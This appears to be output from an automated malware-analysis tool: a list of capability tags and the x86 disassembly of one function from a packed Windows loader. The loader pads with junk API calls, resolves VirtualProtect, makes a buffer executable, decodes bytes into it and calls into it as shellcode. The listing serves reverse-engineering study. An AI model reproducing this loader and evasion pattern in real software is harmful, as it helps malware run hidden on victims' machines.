Function at 0x4017c2
Capabilities:
Allocate or change rwx memory
Create directory
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get disk size
Manipulate console buffer
Set file attributes

Disassembly:
mov eax, 0x407a69
call fcn.004064a4
sub esp, 0x834
push ebx
push esi
xor ebx, ebx
push edi
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x207142
jg 0x4017f0
inc esi
cmp esi, 0x67d12
jl 0x4017d9
cmp dword [0x2817c9c], 0x93
jne 0x4018a4
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_InsertMenuItemW]
xor eax, eax
lock bts dword [eax], 0
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_ReplaceFileA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
push dword [ebp - 0x10]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.MSIMG32.dll_AlphaBlend]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x18]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
push ebx
lea eax, [ebp - 0x840]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov dword [ebp - 0x2c], 0xf
mov dword [ebp - 0x30], ebx
mov byte [ebp - 0x40], bl
push ebx
mov dword [ebp - 4], ebx
call fcn.00402072
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x2c], 0x10
pop ecx
jb 0x4018a4
push dword [ebp - 0x40]
call fcn.00402058
pop ecx
mov eax, dword [0x429db0]
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
add dword [0x2817c9c], 0x1134b
push str.kernel32.dll
mov dword [0x2818ad8], eax
call esi
push str.VirtualProtect
push eax
mov dword [0x281772c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x2817c9c]
mov dword [0x2817720], eax
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 0x14]
push ecx
push 0x40
push dword [0x2817c9c]
mov dword [0x2817728], eax
push eax
call dword [0x2817720]
mov edi, 0x1692e
push ebx
call dword [sym.imp.USER32.dll_SetMessageExtraInfo]
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
dec edi
jne 0x401905
mov eax, dword [0x2817c9c]
cmp eax, ebx
jbe 0x401970
mov eax, dword [0x2818ad8]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x2817728]
mov byte [ecx + edi], al
mov eax, dword [0x2817c9c]
cmp eax, 0x490
jne 0x40196b
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrW]
push ebx
call esi
lea eax, [ebp - 0x18]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
call dword [sym.imp.KERNEL32.dll_AllocConsole]
mov eax, dword [0x2817c9c]
inc edi
cmp edi, eax
jb 0x40191f
xor edi, edi
lea ecx, [eax + edi]
cmp ecx, 0x8d
jne 0x40199f
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateJobSet]
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetClassInfoW]
push ebx
push ebx
call dword [sym.imp.USER32.dll_CharUpperBuffA]
push ebx
call esi
mov eax, dword [0x2817c9c]
inc edi
cmp edi, 0x38681
jl 0x401972
mov ecx, dword [0x2817728]
shr eax, 3
cmp eax, ebx
jbe 0x4019c5
mov esi, ecx
mov edi, eax
push esi
call fcn.0040107e
add esi, 8
dec edi
jne 0x4019b9
xor esi, esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp esi, 0x61
jne 0x4019e6
mov dword [ebp - 0x10], ebx
add dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
add dword [0x2817728], eax
inc esi
cmp esi, 0x674bd
jl 0x4019c7
push 0x7b
pop esi
cmp dword [0x2817c9c], 0x86
jne 0x401a36
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_AddAce]
dec esi
jne 0x4019f2
call fcn.00401000
call dword [0x2817728]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret